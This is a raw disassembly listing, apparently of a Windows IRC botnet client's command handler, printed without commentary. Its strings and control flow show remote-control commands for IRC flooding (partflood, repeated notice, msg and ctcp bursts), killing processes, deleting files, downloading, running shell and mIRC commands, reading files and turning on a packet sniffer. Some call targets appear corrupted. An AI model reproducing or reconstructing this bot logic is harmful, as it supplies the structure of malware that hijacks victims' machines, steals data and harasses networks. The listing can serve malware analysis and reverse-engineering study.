		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC00
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB60
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB48
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA48
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B820
		push	eax
		call	sub_41B886
		push	ebx
